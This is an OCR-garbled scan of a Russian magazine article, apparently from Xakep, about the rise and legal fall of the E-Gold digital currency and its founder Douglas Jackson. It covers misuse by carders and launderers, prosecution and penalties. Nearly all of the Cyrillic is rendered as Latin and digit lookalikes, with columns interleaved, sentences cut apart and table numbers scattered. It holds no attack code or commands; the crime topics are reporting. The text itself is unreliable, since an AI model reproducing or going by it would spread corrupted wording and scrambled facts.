(nena» E-Gold CUyrnac,D,>KeKcoH] no cneul1~ aJlbHOCH1 -
epa4-oHKoflor,
seCbMa ycnewHbll:1.
npLilTOM HeKorA3
B CBce SpeM>I OH He TOflbKO
lIlMeeT Aeno Vl «KaK 3TO pa6OTaeT».
lr1 B 1995-M
Y Hero po,D,V1J1aCb lI1,D,eSl 0 C03,D,aHlIllll YAaJleHHolii
Y)I(e B
1998-M OH 6blflBblHY)l(,.'l,eH OTKa3aTbCr1 OT
CTaTyCOM OAHo(:j 1113 KpynHeli1wVlx VI Halt160nee nonyJl51pHblX nnaTe>KHblX C14CTeM, HO VI nQ'1eT·
naplHepaM l'I nonHOCTblO cocpe,o,OT04!o1.nCSI He HOBO(7i pa60Te.
nflaTe::t<Holii CVlCTeMbl, KOTOPO~ He Tpe60BanC51
CoyypeAl'ITen€M G&SR 11 napTHepoM AxeKCOHa
6bl npoMe::t<YTO'-lHbll.1 q,lIlHaHcoBbllii VlHCTHTyT.
CTall 6appl1 ,ll,ayHI1 ~ IOpl-'lCT no 06pa30BaHlIllO.
KTaKVlM pa3Mb1WlleHVl"M AOKTopa ,.Q>KeKCOHa
TO>I<e BnonHe ycneWHb1~ 8 csoeM Aene. CneL\I1
nOATonKHyno 4aCTHoe lIlccneAoBaHHe 0 AeHe>K
afllilCT B 06naCTliI npaBa. ycneBwV11ii no6blBaTb
nOJlY'H1" Sblcwee MeJJ,Io1l\V1HCKOe 06pa30saHI1e VI
HOM BnVls:lHVlVl HJ KpeAHTHbli'll1 npoMblwneHHbl1ii
'-IJleHOM aMeplllKaHcKoro BepxoBHoro CYAa, a
yenen nOCllY>KJHb c8oei:1 CTp3He 8 p>lJ],3X apMlillll
L(I1Kil.
TaK)I(e aaTop 11 coaBTop pS1Aa IOplilAl'I4eCKVlX TPy
CiliA.
nocne cny>K6bf npOAOll)l(l-'ll1 Kapbepy.
nOH"S, '-ITO Ha pyKax y Hero - rOT06a51. pa
AOB, C rOT08HOCTblO npl1Coe,o,VlHlAnCfl K Me,o,I1Ky.
B03rfl3SI18 oTAeneHlIIe pap,l-1al..lVlOHHO~OHKO
60Tatow,a" CXeMal1 He >Kella" OTKnaAblBaTb
B3sall1il6 He ce6R ,o,Ofl)KHOCTVl ceKpelapfl, Bl'Il.\e
florl1ll1 B perl10HaflbHoM MeAI1l..(I1HCKOM l.\eHTpe
peaJ1l.13al.\HIO npl1AyMaHHoro Ha a6CTpaKTHoe
npe3t1AeHT2 H ,o,V1peKTOpa KOMnaHVl 1-1.
HO
Menb6ypHa [wTaT COflOpl1l,na].
A HeMHOfl1lM
n03
«nOTOM)}, ,l],::t<eKCOH AOBOilbHO 6blCTpO CYMen
>Ke 111 BOBce oTKpbln 4aCTHYlO Knlo1Hlo1Ky Florida
Ha[:ITl'l cpeACTBa 11 B03MO>KHOCTIo1 AMI Bonno
30J10TOH «!lOHA nopa "paT~e pac
Oncology.
UJ,eHl-151 CBoe~ VlJ.\eH B ::t<l-13Hb. E-Gotd 3apa6oTa.n
CKa3aTbO npHHu.l1nax pa60Tbi E-Gold. BnollHe
~
074
XAKEP 05 t1 25/0'1
e·gold
National Currency
AUG
XAU
USD EUR AUD
Australian $
GBP
AGG
XAG
US $
891.30 28.656
12.690 0.40799
1220.0 39.224 238.00 7.6519
Euro
671.26 21.582 9.5572 0.30727
918.81
1224.1
29.541
179.24 5.7628
39.357
17.429 0.56035
1675.6 53.872 326.88
British Pound
597.83 19.221
8.5116 0.27366
818.30 26.309 159.64 5.1324
CAD
Canadian $
1079.7 34.713
15.373 0.49424
1477.9 47.515 288.31
JPV
Japanese Yen
88248 2837.2
1256.4
CHF
Swiss Franc
Exchsnge rate dsta provided courtesy of OmniPay.
40.395 120792 3883.6
1015.6 32.653 14.460 0.46490
10.509 9.2694
23564 757.61
1390.2 44.695 271.19 8.7191
J::l
sepO>HHO, YTO OHVI Te6e He3H3KOMbl- KOMn3
Yepe3 06MeHHbl(1 nyHKT3JleKTpOHHbiX BaJlKlT. C
Bble, !J,eHbrVl B Hei:i He l..\VlPKYJlVlpOeaJlVl
fHHl paCTep"Jl3 CSOfO nonYJl"pHOCTb Vl Ha'WJla
BblBOAOM AeHer Bce TO>Ke BblrJlI1AeJlO npVl
BC>lKOM cflyyae, VlMeHHO TaK 3Byyafla n03V1l..\VI$l
nOHyTbl> ellle B caMOM H3yan€
8blY HO: era MO>KHO 6blJlO ocyw,eCTB>1Tb lJepe3
)],OKTopa ,[J,>KeKCoIi3.
MHorVie nonpoCTY ee He 33CTaJlVl_
Jlf060~ 3JleKTpOHHbl~ 06MeHHVlK, 63HKOBCKltiVt
Bee 3TO, pa3yMeeTul, npVlBeflo K nOBbIW8H
B OTJl11 Yl1e OT npl1BbllJHblX AMi Hac cerOAH"
"eK VlJlVl nepeBOp" a TaK>Ke, TeOpeTl-1yeCKl-1, )],a>Ke
HOMy BHVlMaHL-lKJ co CTOpOHbl npaBvneflbcTBa,
3Jl€ K TPOI1HbIX
nOJlYYltiTb Ha pyKl-1 CBOVt CJlVlToK)],parOl..\eHHOrO
HO clHyal..\VlI1 BOKpyr E-Gold pa38V18aflacb
I1CflOflb3yeT .QeHe>KHbIX e.QVlHI-1LJ,. BMeCTO HVlX
MeTaflfla.
BeCbMa HecneWHO, 8nJlOTb.LJ,O
Bce CTP0l-1TC>l H3 C3MbiX H2CTO"W,VlX ,o,parMe
CnO>KHO He Ol..\eHl-1Tb KpacoTy 1-1 1-1311w,eCTBO 3a
p>l
T3JlJl3X -
p,yMKVI ,[J,>K€KCOH3, OAHa KO l-1X OKa3aflOCb He)],o
W8H-6JlVl3Heu,oB B WTaTax 6blJ10 npVlH\1TO
CT3TOYHO. XOTb Vl rOBopRT, YTO «Bce reHl-1aJlbHOe
MHO>KeCTBO Mep, HanpaBflCHHblX H3 60pb6y C
-
TeppopVl3MOM, B TOM YVlCfle, WVlpOKO Vl3BeCT
nn3T€ > KHbIX
XXI CTOneTl-1>1.
Bo
CVlCTeM, E-Gold He
TO eCH>, 30flOTe, cepe6pe, nJlan1He
Vl nClJlJl3)],l-1I1, CDiIl3l-1yeCKI1e 3anaCbl KOMn3Hl-1Vl -
€e
30nOTo(1 ¢OHIJ, -
2.5
XpaH?TC>l 8 CJlI1TKaX
TOHHbl op,Horo TOJlbKO 30JlOTa l ),
npoCTO», npocToT3 VI rehVl3JlbHOCTb cblrpaflVl
2001
ro.o.a.
A BOT
9 ceHH16
nOCJle nap,eHVlI1 6a
CKopee «npOTl-1B», LJeM «33» E-Gold.
Hble «An 0 Hal..\VlOHaflbHo(1 6e30nacHoCTVI»
nOA3flbwe OT ¢l-131-14eCKl1X, nOJlVlTl-1yeCKltiX Vl
BXO>KAEHIi1E B WTOnOp Yen""
3aKOHOB B TO SpeM>l nonpOCTY npoToflKHyJlVl
p,pyrillx pMCKOB, TaKYTO, npillpaCyeTaXyepe3
nflaTe>KHO~ CI-1CTeMbll-1 ee CTpeMlt1TeJlb
«no)], WyMOK», TaK YTO Y3aKOHeHHal1 npo
E-Gold CyeT iIlp,eT He Ha YC!lOBHbl€
Hbl~ pOCT He OCT3flVlCb He33MeyeHHb1MI-1. C
CJlywKa TeJle¢OHI·lbIX pa3rOBopOB L-l npOYl1e,
YBeJlVlyeHl-1eMYl-1CJl333perVlCTpVlpOB3HHbIX
He CJlVlWKOM npl-1I1THble, Bew,Vl CTallVi peaJlb
[nOYTI-1
V1 «naTpVlOTW!eCKI1~
B Ha)],e>KHi:>IX 6aHKoBcKVlX xpaHVlflVlw,3X,
eA'v1HVll..\bl,
3 H3 Tpo(1cKVle YHl..\VlM [XAU) M rpaMMbl[AUGI.
2003
nOJlb30BaT€ n eL:1
y>Ke Ml-1flJlVlOHI. y KOMn3HVlVl nOI1BJll1fll-1Cb
TeMbl, KOTOpa>l, no MHeHvHO npaBVlTeflbcTB8 l1 He)],06po>Kefl3TeJleL-1, VlMeBWI-1X 60JlbW0L:1 Bec
M€ T 3JlJlOB
Ha
rOA3 VlX 6blJl
HOCTblO CaMo co60~, Vll-\Jl>l nJlaTe>KHoL:1 CVlC
3TO n0380Jl>leT3a6b1Tb 0'Kone5aHI1>1X KypCOB B3JlfOT -
CTOVIMOCTb l..\€ H HbIX
[K HalJ3JlY
aKT». no CYTVI, HeM3flO
MVipOBblX pblHKax Bew,b ropa3Ao 50Jlee noc
KOHKypeHTbl, 33 Bl-1CTHVlKlt11-1 fllO)],lt1, Hep,OBOJlb
TO"HHaR
Hble ee ,o,eRTeJlbHOCTbfO. OCHOBH3$l np06JleM3
B nOJlVlTVlyeCKI-1X ill ¢I1HaHCOBbIX CTpyKTypax,
C KlpVl.QVlyecKolo1 TOYKl-1 3perll-111 nOflYY3JlOCb, YTO
33KJlKlY3Jl3Cb B TOM, YTO E-Gold ¢3KTl-1yeCK>1
«KpbIWeBaJla» MoweHHVlKOB l-1 nopHorpa¢oB,
JlKlAVl 06MeHVlBafOTc" paCnl-1CKaMYI 0 pa3Mellle
He Tpe60B3Jl p,Jl" perI1CTpal..\Vll-1 Hlt1KaKl-1X
npl1wJlo BpeM" VlJlI-1 MeH"Tb CBOIO nOflillTI1KY,
Hl-1i1l onpe,o,eJleHHOiO KOJll-14€ C TBa
YAOCTOBepeHVli:i flVlYHOCTI-1. ,[J,3HHble, 88eAeH
I1flill >Ke OTnpaBJlRTbCI1 nOA CYIl..
p,parM€ T aflJl3
Ha XpaHeHlI,e B KOMn3HVllIi E-Gold Ltd. [nOYTI-1
Hble nonb30B3TeJ1eM, Hl-1KaK He npOBep$lf1lt1Cb,
KaK HVI CTpaHHo, E-Gold He ropeJl >KeJlaHl-1eM
Bce nOJlhOMOYl-111 no yn p3BfleHVl fO cVlcTeMo~
He cyw,eCTBOB3JlO Vl JlI-1Ml-1T3 H3 KOJll-1yeCTBO
MeH>lTbCR. HeVl3BecTHo, HaCKOJlbKO np3B,o,iIl
3J1eKTpOHHbIX nJl3Te>Kel1 CblJlI1 nepep,aHbl
aKKayHToB, OTKpblTblX Ha OAHoro lJeflOBeK3.
Bbl CJlYXI1 aTOM, YTO pyKOBO)],CTBO KOMnaH>11-1
KOMnaHl11-1 E-Gold Ltd., 33perVlcTpVlpOBaHHOv, B
E,o,VlHCTBeHHbIM «CTpOrl-1M Tpe6oB3Hl-1eM» 6blJl
npeKpaCHO 3H3JlO 0 npOXOA"W,I-1X yepe3 VlX
BecT-\!1HAVliIll.
ap,pec 3JleKTpOHH0L:1 nOYTbl. nOJlYY3JlOCb, YTO
CVlCTeMY nOTOKax «rpl13HblX .o.eHer» l-1 11 MeJlO C
ClIicTeM3 cnel..\M3JlbHO CTpOVlJlaCb TaKiIlM
cepBVlC JlerKo.o.OCTynCH, npOCT [Bce onepau,l-1V1
HltiX HeMaJlYKl npl-16blJlb -
06pa30M, 4T05bl He 3aBI1CeTb OT ¢l-1H3 HCOBblX
cOBepWaJlVlCb np51Mo B 6p3y3epellti npaKTiIl
Vl nVlC3Jlill 06 3TOM MHoro, XOTI1 cy,o,y 1aK 11 He
pbIHKOB, C3Ma KOMn3HVl\1 He 06nap,3Jla Hl-1K3K0L:1
LJeCKl-1 3 HOH I-1Me H. K TOMy >Ke, OTMeHVlTb Tp3 H
YAaflOCb )],OKa3aTb BI-1HY SJl3.LJ,eJlbl..\eB cVlCTeMbl,
H3l..\VlOH3flbhOM B3JlKlTO(:i 101 He l-1M€Jla
:Ja Kl..\1-1 10 8 E-Gold 6blJlO ,lJ,eJlOM np06JlCMHbIM,
0p,1-I03HaYHO CK333Tb «6blflO» VlflVl «He 6bIJlO»
63HK3X, nJlKlC KO BceMy, cpe,o,CTB3 KJlV<€HTOB
eC1111 He CKa3aTb, MaJlOpeaflbHblM. Bce 3TO,
HeB03MO>KHO.
I'lBlll1JlillCb 3KTI1B3 MVl, H3XO,o,I1W,l-1MI1U, H3 Xp3
caMO c060[:1, npl1BJleKJlO BHl-1M3HVle He TOflbKO
0AH3KO Mbl 3a6er3eM Bnepe)]" 3 Tor,o,3, B H3Y3Jle
HeHVlI1, a, 3H3lJVlT, He M:JrJllt1 6blTb npe)],MeTOM
npOCTblX nOflb30B3TeJle(1, HO Vl a¢epl-1CTOB
2000-x,
cyp,e6HbiX npl-1Hn3HVI(1
Bcex MaCTCVt -
KOMnaHVl" He XOTeJla, He MOrJl3 Io1JlVl He CYl-1T3fl3
C nOMOlllblO «3JleKTpOHHoro
CyeTOB B
30floTa» MO>KHO
oT63HaJlbHbiX KI1)],3fl,lJ,0
Kap,o,epOB VI, npeAn0J10>Kl-1T€ f lbHO,
TOpIOBl..\eB
HO TorA3 rOBOpl-1JlVl
pa3peWl1Tb Bonpoc MI-1POM He BbIWJlO.
Hy>KHbIM BBop,l-1Tb 60Jlee cepbe3Hbie cnoc06bl
6blJlO AeJlaTb nepeBo,o,bl p,pyrVlM nOJlb30Ba
.o,eTCKVlM nopHO. Bp,06aBoK, y E-Gold Ha pyKax
Tel1"M, npVlHI-'lM2Tb nJlaTe>K11 H3 C80V, CyeT,
He 6blJlQ Heo6xop,l-1MbIX no 33KDHy flVll..\eH3l-1i1
OTBeTCTBeHHOCTblO nop,xoAVlTb K KOHTpOJlKl H3)],
paCnflaLJI-1BaTbOI 8 VlHTepi--leT-M3ra3V1Hax l-1 T.,o,
iJ,Jl>l ocyw,eCTBJleHVI" ,o,eHe>KHbIX nepeBo,[\oB.
TpaH3aKl..\l-1AMI-1. nOCJl€ . o,YKllllVie
Bsop, AeHer B CI-1CTeMY ocyw,eCTBm:L~CI1 06b1Y
A fll-1u,eH3l-11-1 oTcyTcTBOBaJlI-1 B Bl-1AY Toro, YTO
Jll-1Cb AJlI1
HbIMlt1 MeTOp,3Ml-1 -
p3CnVlCKl-1, l-1MeKlw,l-1e XO>KAeHl-1e B CVlCTeMe,
Tef1bCTB. l!l33 3TO BpeMI1 npecca ycneJl3 «noxo
OCT3B3llVlCb J1I1Wb paCnl1CK3MVl, l-1, K3K T3KO
pOHI-1Tb» KOMnaHI-1KJ He MeHbwe .o,eC>lTKa pa3.
6aHKoBcKl1M nJlaTe>KOM,
nepeBo)],oM OT APYroro nOJlb30S3TeJl" iIlflVl >Ke
XAKEP 05 /125/ 09
l-'l)],eHTV1¢VlKal..\I1Vl nOJlb30BaTeJleL:1 l-1 C 60nbwew
E-Gold
rOAbl npeSpaTlt.
B Yepe,lJ,y cy,o,e6H blX P3361-1P3
~
075
•• gold ••Inver e-pl3ltlnllm .,plll.ldillm
01119- 1001;
10 . . . 100"",
100 . . _1,
1,-l0,
'0,_100,
lOO,_H,
1'9_ IOot
10'9-100'9
100 IlSJ _111,
11'<1_1Ul,
...
.~ ~ 100 ..... 1 I
\O~-Ioo"'ll
1,_'00
10,_100,
lie ,_I '9
II$_10~
10t,o_I00"
100'9 _Ill;
11ll1.101lll
Ollll-IO . .
10"" _100 "'I
100"'\1_' 0
1;-l0,
10;. 100,
100,.1'9
''9_IOt,o
'0 '9- lOO~;
lOO!oll·' III
lilli_lOll;
HenoepeACTBeHHble AeHCTBvHl «no 6opb6e C E-Gold>, 6b11H1 pa3BepHyTbi T011bKO B 2004- 2005 rOAax,
r OTOB~JHKb K H~M OCHosaTe11bHO w,n,aB
HO. TaK "TO 068I-1H..,11l-1 «311eKTpOHHoe 30110TO» npaKn14eCK~
0"",_100>:1
10"'1-1001119
100",,_1;
10- 10 ,
10;_100,
100 ,_, '9
1"1-10'9 10 t,o- 100 leO
100",,_, II,
ll1l- IOV,
80 Beex CI.1epTHbiX rpexax Cpc13Y
EClll1l T04Hee. BMeH Villltl B BViHy. 4TO.I=IBnlHlCb IOpl.1Al.1"eCKlJIM I1lJ1l.1,OM, KOMnaH
~>l
3aHlJIMaeTCR
,i:NHe)l(HblMI'1TpaH33Kl.I,l.1\1M~ 683 COOT8eT(T BYIOlL\e~ Ha TO llVil.l,eH3lo1lJ1; ¢>aKn14eeK~
, r
e-sllver
••=tlnllm
.iilii:il3ld1um
r
cnoco6CTByeT pa38l.1Tl.11O npOT~B03aKOH HOV. Ae,neflbHOCTIIl q,l.1HaHCOBbIX nltl paM VI,lt Klil6epnpecTynHV1KoB VI \.1>Ke C HlIIMVl, OKa3blBo3R l'1M 6aHKOBCKVl8 ycnyrlJl; a TaK>Ke OTMblBaeT ,n,eHbrl.1 nopHorpaq,OB (B TOM cllKne, .QeTCKIIlX]. PaC'-leX111'1811106I'lMble nyrana -
TeppopVl3M Vl
Af!TCKOe nopHo. K 2005~MY rOAY rl paevnellbeT BO OKOH4aTe11bHO BbIW110 Ha «Tpony BOV.Hbl». O¢~Cbl KOMn3Hi-1lJ1 Gold&Sitver Reserve,
Inc. nOA8eprmKb 06b1CKy. 3 6aHKOBCKVle C4eTa 6bllll1 3aMOp0)l(eHbl. 811aCTI'l BnepBble nonblTanl1Cb ,[\OK333Tt> B cy.Qe, 4TO B Cl-1CTeMe l.I,VlPKYll11lpylOT BOpOB3H Hble ,o,eHbrVl. Bnp04eM, 1-13 3TOro H1II4ero He BblWno.
B 2006~M
«OCHOBHAHnp05nEMA3AKn~4A
nACb B TOM, 4TO E-GOLD <t>AKT~ 4ECK~ HE TPE50BAn AnH PEr~CT PAU.~~ H~KAK~XYAOCTOBEPEH~rA n~4HOCT~.»
CYA 8b1
Hec onpaBAaTe11bHblv. npVlrOBOp, no np~'-l\llHe OTeyTeTBIMI.QOKa303Te11bCTB BlIIHbl E-Gold.
1a KVlnorpaMMOB
TDrAa
$200.0001.
KOMnaHlAl1, no eynt, OT,o,e11anaCb 11erKlAM
lIICnyroM,
~
MHOrltle paeC'-lIllTbIS311lll, "lTO nocne
III MeTb Vl
30110Ta [YTO nplllMepHO paSf<O
0 TOM, "ITO 0AVi H Ye11 oaeK MO>KeT 5, Vl 15 ,o,en03lo1TOB CTaTViCTVlKa TaKTHY
p2VlsaTb AeMOHCTpal..\VlOHHO-nOK333TenbH bl e 061103Sbl, B XOAe KOTOpblX aKKayHTbl 6nOKl1po ea11I1lCb TblCl1 u aM Vi, a ca M OCH0l3aTe11b KOMna
3TOro «lo1Hl.I,lo1J],eHTa» PYKOBO.QCTSO E-Gold
HO YMa11YVl8ana
HL.1Vl nOMoro311snaCTRM 8 o6y4eH1o111l60pLJ,OB C KVl6ep-npecrynHoClblO. no Lit 3Toro OK33anOCb
06pa3YMVlTCIllo1 Ha'-meT nplIlHVlM3Tb Mepbllo1
B OTBeT Ha 3TIIl, B 06l1.\eM-TO, 110rW-lHble,
3aHlrVlS3Tb ra!ltKIo1. Ho ,Q>KeKCOf<, .QaYHt1lo1lo1X
Sblno3,lJ,bl J],>K€KCOH ny6nVl'1HO 3al'lB11Sl11, "TO Bce
HeAOCT3TOYHO.
K01111erlll peWVl11 101 VlHaye -
onepal.l,ltlltl B era CV1CTeMe llera11bHbl, a Ha)t<V1
Ewe OAI1H TSl>Ke11blv. y,o,ap clo1cTeMe HaHec ayKLJ,Vl
He
nepeMeH B elllCTeMe
nocne~osa110.
Tble He3aKOHHbiM nyT€ M
Cpe,lJ,CTSa -
npo611eM3
OH eBay, B 2006 'OAY nOllHOCTblO nepeweAwl-1t11
napannellbHO C cy~e6HblM npOl.l,eeCOM, penyTa
HVlKaK He KOMnaHVlVl E~Gold, a I1lOllev., KOTOpble
Ha PayPal i-1 OTKa3a8W14v.cSl OTyc11yr APyrVlx
VI nycKai:1
1.(10110 E-Gold nOpTIIlJ13 npecca. To B O,[\HOM, TO B
3H1 AeHb,Vl KpaAyr. OH rOBopVin, 4TO.QpyrVl€
cepBI1COB 3J1enpOHHb1X n1l3Te>KeLii_
APyrOM aSTOplJlTeTHOM IT -Vl3~3HVllo1 Bcn11blBana
nnaTe>KHble Clo1cTeMbl He MeHee BltlHOBHbl «8
E-Gold 6bl11a ,o,aneKO He € A 'IIHCSeHHOv. «OCTo38
lo1HepOpM31.(lo111 0 He3aKOHHbiX onep3l.1,H\1X, npOBO
OTMbisa HViVl ,o,eHer» lo1 COBeTOBan enaCT" M
11eHHoi13a 60pTOMi> CVicTeMoi1, Ha eBay «3neK
A\1UJ,VlXC\1 'lepe3 E~Gold
06paTltlTb SHVlMaf<Vle Ha TOT)l(e PaYP3l.
TpOHHoe 30110TO» 61,1110 ynoMI1HyTo oTAe11bHoi1
Hanpl.1Mep. BusinessWeek C0061.i..1,3fl, "lTO
A Ta K>Ke J],yrnac
KpynHaR Me)l(,o,yHapO,D,Hal1 KOMaH,o,o3 KapAepoB
npecce lo1 Clo1J1bHbiM Ml1pa cero 0 TOM, 4TO
.,TO ..,cno.nb3082HVle E-Gold K3paeTCl1 HeM€,o,
ShadowCrew 3KTlo1BHO Vlcno11b3yeT «:;J1eKT
E -Gold 8cer,Q3 OXOTHO COTpYAHVl"laer C
neHHbI M 3aKpblmeM aKKayHTa npOAas~a [A063
pOHHoe 30110TO". nepeKa4VlsaR 4epe3 Hero aT
npa800xpaHVlTellbHblMV1 opraHaMl1,
$40.000,0,0
$100.000 8 HeAelllO. VlHTepeeHo,
He yCFJBaJl HanOMI1Ho3Tb
nOMO~
rail B p3cc11e,o,oBaHVl~x <I:>5P, q,etJ,epaJlbHOL1
CTPOKOi1. npaslIlJ1a aYKl.I,I10Ha nOAyepKlIlBanVl,
SVlM, 'lTO <lHanOrVl4HYIO Mepy MO)l(HO CX11onOTaTb OTf<IO,[Ib He TonbKO 303 ~Cn0J1b30BaHVle E~Goldl.
4TO B 3TO >Ke caMoe speMS'! oqll'1l.1,l'1a11bHaS1
TOprOSOv. KOMI1CCl'1l11, sHyTpeHHei1 Ha.norosOv.
CTaTlo1CTVlKa KOMnaHVlVl yTBep)l(j\aJ1a, 4TO no
c11y:A<6e, ynpas11eHVlIO no 6opb6e e HapKoTVlKa
3A6BEHlo1E
A3HHbiM Ha anpe11b 2006-ro, TOJ1bKO y,o,Bo3Al.I,a
MIo1V1TaK):\3Jlee.
Hl>KeHIIli-1 ecelil CTaTblo1 peYb
T\1 4erb/peX K11VleHTOB Ha (YeTy 6bJ110 CSblwe
B caMOM
~
076
.qeJ1e, 8 E~Gold J],a)Ke Ha4311lo1 yCT
HeCMOTpl1 Ha TO, YTO Ha npo
° E-Gold VlAeTB
npowe,o,weM 8pet.teHVl. cero,lJ,H51 KOMnaHV1R v,
D>KeKCOH3 06513anltl paCKowemnbCfl Ha $200
Bl-1,o,ltlMO, VI o)t(~,lJ,anOCb) n06e>KaJ1l11, C110SHO
npltl3TOM:
Lno He One43TK3 -
KpblCbI C TOHYl1lerO Kopa6JlR, ltl cneWHO 6pOCVl
caMa nn3T€>KHafl Cl-lCT€Ma Bee ew,e
)K~8bl.
,D,BeCTLo13e11eHblX 6yMa>K
• C03,[laHl1e HOBblX aK,KaYHT08 «speMeHHO
HblxAeHerl. C1,qayHV11t1 Pe~,IJ,,l\>KeKCOHa -
3aMOpO)K€HO»;
$2.500 Ka>K,qoro. Ho 4TO C3Moe .n106on blTHoe
TO)Ke He YJ1Y4W ltl.no 06w,ero nOnO.>KeHltl51 ,o,en.
•
-
Pa3AYTafl BOKpyr E-Gold naHltlK,a 6011bHO YAa
Bb~8eCTl-l
,D,eHbrl-l cy)I(e l-lMelOw,erOC>l ("leTa
,Qe~TellbHOCTh
Ha
KOMn3Hl-ll-l cy,lJ, TaK >Ke He
I11t1Cb BblBO,ql-1Tb CO CBOltlX C'-leTOS Cpe,D,CTSil, '-lTO
MO>KHO lH-lWb C orpOMHblM Tpy,qOM.
npeceK. BMeCTO 3Toro CYAbR P03 Mapltl KOllbep
Hl-l OJ],l-lH "lenOSeK B 3.opaSOM yMe He CTaHeT
nocTaH08J11na, "ITO Gold
paCIlJla"lI.1BaTbCfl 4epe3 E -Gold, HO «3J1€KTPOH
AOl1)1(Hbi OepOpMIo1Tb Bce H€06xo,.QltlMble An51
Hoe 30l\OTO>} He )I(ellaeT I1AH1 KO ,DHy. 3aTfl:l<Haq s Cepe,D,\IlHe AeCflHlneTl-1fl,
pa60TblJll-ll.l,eH3Vlltlltl nplABeCTltl perltlCTpaL\ltllO
S8 co C4eTa E-Gold, npl-1,lJ,eTCfl nonOTeTb,
arOHl-1fl, Ha4aBwaflCfl
HOBblX a KKayHToB B CltlCTeMe K HopMa M, npe
pa3b1CKltlBa5l 06MeHH\.1K lit, ,D,a)l(e eCJlV1 T3KOSO~
npO,lJ,OmKaeTC>l,lJ,O CI1X nop.
Ayo~oTpeHHblM3aKOHOM.
Hai1,o,€TCfl, -
noc.ne nepBO~ nOnl:ITK01 <'WTyptJ,a» SnaCTl-l
nOCne,D,Hee. snpo4eM, 6bl110 C,IJ,eJlaHO ew,e 3a
70% KOMltlCCltIVl.
& Silver Reserve
p\.111a no KYpCy «3neKTpOHHOro 30110Ta» ltl no pOAltll1a cyMacweAWl-1e npou,eHTbl
KOMltlCC~\.1.
ECJl~ CerO,lJ,Hfl nonblTaTbCfl Bbl8eCTIo1 Cpe,D,CT
nplII,ll,eTCS13annaTltlTb nOp51,[lK8
He OCTaSI-1.nl-l E~Gold S nOKoe, ~ 8 2007 ro.o.y
nOJlro,Q3,1J,0 OKOH4aHVl51 npouecca. Bltl,QltlMO,
'-1TO 6YAeT C E-Gold ,lJ,31lbWe, CK83aTb CflO~
SbIABI-1Hynl-l npOH1B G&SR HOBblL'lltlCK co CTa
nOHflB, 4TO BO 8TOP0i1 p33 cYXl-lMltlltl3 80Abl 101M
HO. HecMoTpli Ha KpltlHl'-leCKOe nOnO>KeHl1e,
pblMIII npeTeH3ltlRMI.1. Opeon Kpai7iHe COMHltl
8bl~H1 He y,o,3CTCfl, B E-Gotd, HaKOlleu, Ha'"l311>-1
AOKTOp .u~eKCOH He YHbIBaeT. OH OXOTHO
TenbHoi1 c.naBbl, K :HOMy MOMeHTy y>+<e onOTHO
,ll,e~CT130BaTb Ha onepe)l(eHJlle -
paCCK83blB3eT seeM, KTO rOTOS ero cny
OKPY>Klt1BWl-H1 CltlCT€My, H34Ml oTnyrltlBaTb
nal1ltl Tpe60BaTb OT nOnb30BaT€flei1 HOpMaJlb
WilTb, 0 TOM, KaKJIIM MO,D,l-1q>ltlKal.l,ltlflM ceCt4ac
Pfl,[l08b1X nonb30BaTelleVi. 3aTo, nOXO)l(e, OH
HyHJ KOHTaKTHylO ltlHQ>opMaL\IIIKl, perltlCTpaUl-l
nO,D,Beprc1eTCR E-Gold, l-1 0 ee 6YAYW,ltlX
Hltl4YTb He TpeBO>Klt111 a¢epIIICTOB aKKayHTbl e CltlU€Me illlO,lJ,..... l1ltlCb
H08ble
co CKOpOCTblO
npl-lMepHO 95T~CR4 B Menll.!" lIIHTepec K E
HilnpltlMep,
OHHbI~ IWMep Hafloron1l3Tel1bl1lVlKa, a TilK::l(C
HaJ],e:+::HOCT~ ltl Y,lJ,06CTBe, Ho TeXH~YeC-
YK33aH\o1e MeCTa >Klt1TellbCTSa ltl ,ll,aTbl po:t:.,o,eHltl>l.
Kafl CTopOHa AeJla, 310 TOJlbKO nOfl6eAbi.
n11IOC. H3KOHel.l" 3anpeTltlflltl perltlCTpltlpOBaTb
KOMn"HlltlR nOKa ,ll,a:+::e He nbIT3eTCR <.no
HeCKOJlbKO il KKayHToe Ha OAHorO ye110SeKa ltl
aepHyTbc51 K nOflb30BaTem,M nLo1u,OM» \01 He
KOMn3Hltlltl, paHee COCTaBll>:1BWltlf1 nOYTI.13.5
SHecnltl B n011b30saTel1bCKoe COrJ1aWeHlo1e pflA
npe,lJ,npltlHIo1MaeT nonblTOK XOTb KaK-TO pea
TOHHbl 30nOTa, 3a ro,o, COKpaTlo1llCfl n04H1 Ha
1-13MeHeHltli1, npJll38ilHHbiX nO,D,nOpTltlTb >K\.13Hb
6VlJ1ltlTVlpOaaTbCflB rna3ax o6w,eCTseHHOC
KI-l6epMOWeHH!o1K3M
TI-1. B03HltlKaeT 0l1lYl1leHltle, '-ITO pyKOBO,QC
Gold CHltl)l(anCfl -
TpeTb.
1.13-3a 3Toro 30110TO~ epOH,[l
K ce;>e,o,ltlHe
2008~ro OT Hero OCTa.noCb
O,ll,HaKO BpflA J111 MO~HO CKil3aTb, "ITO Bce CHOBa
J1I1Wb 2.420 Kr.
B ltlTore, I1ETOM
2008 rO,ll,il, nOC11e npe,D,ea
3aKOH'-I1tl110Cb XOpOWO. XOTfl KOMn3Hltl>:1
epop
TSy nonpOCTy Han11eS8Tb Ha npoMoyweH 101 c06CTBeHHbli1 0611I11K. '-1ero (TOI-1T O,D,V,H
TO.nbKooQ>!o1l.1,ltla11bHbI~ca~TKOMnaHLo1ltl,
pltlTell bH blX C!1ywaH~~, PYKOBOACT80 E-Gold
M31lbHO AO CVlX nop He 3aKpblTa, ee penyTal.l,ltlR
pew ltll1 0 npltl3HaTb CBOIO BLo1HY. O'"leSJII,lJ,HO, 3TO
6e3Ha,D,e>KHO VlcnOpyeH3. PerltlCTpill.l,lo1fl HOSblX
Sbl3b1B31OW,ltlCt "lyacT80 OCTPO~ HOCT3nbrltlltl
6blJlO npo,lJ,YM<lI~Hoe peweHLo1e -
n0l1b]OBaTeneL'l3aMOpO~eHa,npoll,ecc nOflY
no 90-M III MOflO,o,OMy Io1HTepHeTy.
Y4ltlTbIB3s:l
HDKeCb Bbl,D,BVlHyTbIX 06BltlHeHltl~, Bb\HeCeH
'-leHl-HI J1lo1l1,eH3\1l~, O'ieBltl,D,HO, 3aTs:lrltl8aeTCfl, a
BnpO'-leM, E-Gotd H3 npOHI>KeH\.1ltl Bcei7i
HbI~ B KOHlle 2008 rOAa npltlrOBOp OKa3;)11C\1
Aoeeplo1e ,q3BHO 110,D,OpaaHO_
ee 13-neTHe~ lt1CTOPltlltl BcerAa se3110 101, 603MO>KHO, nOBe3eT ew,e pa3. WaHC,
